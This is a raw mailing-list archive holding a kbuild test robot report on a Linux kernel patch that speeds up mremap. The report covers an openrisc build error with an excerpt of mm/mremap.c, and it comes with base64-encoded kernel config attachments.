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
cwMA

--2fHTh5uZTiUOsy+g
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
linux-snps-arc mailing list
linux-snps-arc@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/linux-snps-arc
--2fHTh5uZTiUOsy+g--



From - Thu Nov 08 21:42:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp@intel.com>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH -next 2/3] mm: speed up mremap by 20x on large regions (v4)
Date: Sun, 4 Nov 2018 00:56:59 +0800
Lines: 246
Approved: news@gmane.org
Message-ID: <201811040056.QfAjkno6%fengguang.wu@intel.com>
References: <20181103040041.7085-3-joelaf@google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="Nq2Wo0NMKNjxTN9z"
X-Trace: blaine.gmane.org 1541264154 26777 195.159.176.226 (3 Nov 2018 16:55:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 3 Nov 2018 16:55:54 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, kvmarm@lists.cs.columbia.edu,
 dancol@google.com, Yoshinori Sato <ysato@users.sourceforge.jp>,
 sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, ant
To: Joel Fernandes <joel@joelfernandes.org>
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Sat Nov 03 17:55:44 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1gIzD5-0006j8-Sp
	for glpr-linux-riscv@m.gmane.org; Sat, 03 Nov 2018 17:55:44 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:In-Reply-To:
	Content-Type:MIME-Version:References:Message-ID:Subject:To:From:Date:Reply-To
	:Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Owner;
	 bh=MDntvwlXA4B69s29vGinY54PaWXRiJ4bycSYIAartWs=; b=AN3rCrpYlfKvmb9lmSnf/M9JM
	AWCc3aA6y2OogCUG/XqGWfq6qavj4JCUvhhQPnxQBAJtVv6FuQfYhydtvBNmWFsKh0SmdKD+jR1S0
	adazIlvq7QB2JpVdyYT0HfhGGAdMl68uy1zDiFOGlRUm8NDUv1Rb24qCklgwWLbeAqSLXGzKjI4pU
	EEr/pBipVGGrFDInCgFzI7hB3v7DOkLExMmRApIG03+TLRhTNt894nzssklKpfyLVO4Qz036ym/E7
	H6yNX3eZm+GWBnvsH9BKJ1x7flIbumzplwUFTeJ7TWXd4uG6QVagtK8Okt5Ay7ZmAfY5VCezPUuxn
	xRmWpnkfw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gIzF9-0005S9-E2; Sat, 03 Nov 2018 16:57:51 +0000
Original-Received: from mga18.intel.com ([134.134.136.126])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gIzF6-0005RA-1k; Sat, 03 Nov 2018 16:57:49 +0000
X-Amp-Result: UNSCANNABLE
X-Amp-File-Uploaded: False
Original-Received: from orsmga004.jf.intel.com ([10.7.209.38])
 by orsmga106.jf.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384;
 03 Nov 2018 09:57:36 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.54,460,1534834800"; 
 d="gz'50?scan'50,208,50";a="246732228"
Original-Received: from lkp-server01.sh.intel.com (HELO lkp-server01) ([10.239.97.150])
 by orsmga004.jf.intel.com with ESMTP; 03 Nov 2018 09:57:25 -0700
Original-Received: from kbuild by lkp-server01 with local (Exim 4.89)
 (envelope-from <lkp@intel.com>)
 id 1gIzEi-0005cr-Qz; Sun, 04 Nov 2018 00:57:24 +0800
Content-Disposition: inline
In-Reply-To: <20181103040041.7085-3-joelaf@google.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181103_095748_190061_8085ACC5 
X-CRM114-Status: GOOD (  11.10  )
X-Spam-Score: -2.3 (--)
X-Spam-Report: SpamAssassin version 3.4.2 on bombadil.infradead.org summary:
 Content analysis details:   (-2.3 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/,
 medium trust [134.134.136.126 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:1356 gmane.linux.ports.mips.general:67293 gmane.linux.ports.ia64:29465 gmane.linux.ports.sh.devel:57745 gmane.linux.kernel.mm:206342 gmane.comp.emulators.kvm.arm.devel:19668 gmane.linux.ports.sparc:28721 gmane.linux.ports.hexagon:2001 gmane.linux.kernel.arc:4692 gmane.linux.ports.parisc:29269 gmane.linux.kernel:2914638 gmane.linux.ports.alpha:5412 gmane.linux.ports.ppc64.devel:165215
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/1356>


--Nq2Wo0NMKNjxTN9z
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Joel,

Thank you for the patch! Yet something to improve:

[auto build test ERROR on next-20181102]

url:    https://github.com/0day-ci/linux/commits/Joel-Fernandes/Add-support-for-fast-mremap/20181103-224908
config: openrisc-or1ksim_defconfig (attached as .config)
compiler: or1k-linux-gcc (GCC) 6.0.0 20160327 (experimental)
reproduce:
        wget https://raw.githubusercontent.com/intel/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        make.cross ARCH=openrisc 

All errors (new ones prefixed by >>):

   mm/mremap.c: In function 'move_normal_pmd':
>> mm/mremap.c:229:2: error: implicit declaration of function 'set_pmd_at' [-Werror=implicit-function-declaration]
     set_pmd_at(mm, new_addr, new_pmd, pmd);
     ^~~~~~~~~~
   cc1: some warnings being treated as errors

vim +/set_pmd_at +229 mm/mremap.c

   193	
   194	static bool move_normal_pmd(struct vm_area_struct *vma, unsigned long old_addr,
   195			  unsigned long new_addr, unsigned long old_end,
   196			  pmd_t *old_pmd, pmd_t *new_pmd)
   197	{
   198		spinlock_t *old_ptl, *new_ptl;
   199		struct mm_struct *mm = vma->vm_mm;
   200		pmd_t pmd;
   201	
   202		if ((old_addr & ~PMD_MASK) || (new_addr & ~PMD_MASK)
   203		    || old_end - old_addr < PMD_SIZE)
   204			return false;
   205	
   206		/*
   207		 * The destination pmd shouldn't be established, free_pgtables()
   208		 * should have release it.
   209		 */
   210		if (WARN_ON(!pmd_none(*new_pmd)))
   211			return false;
   212	
   213		/*
   214		 * We don't have to worry about the ordering of src and dst
   215		 * ptlocks because exclusive mmap_sem prevents deadlock.
   216		 */
   217		old_ptl = pmd_lock(vma->vm_mm, old_pmd);
   218		new_ptl = pmd_lockptr(mm, new_pmd);
   219		if (new_ptl != old_ptl)
   220			spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);
   221	
   222		/* Clear the pmd */
   223		pmd = *old_pmd;
   224		pmd_clear(old_pmd);
   225	
   226		VM_BUG_ON(!pmd_none(*new_pmd));
   227	
   228		/* Set the new pmd */
 > 229		set_pmd_at(mm, new_addr, new_pmd, pmd);
   230		flush_tlb_range(vma, old_addr, old_addr + PMD_SIZE);
   231		if (new_ptl != old_ptl)
   232			spin_unlock(new_ptl);
   233		spin_unlock(old_ptl);
   234	
   235		return true;
   236	}
   237	

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--Nq2Wo0NMKNjxTN9z
Content-Type: application/gzip
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

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
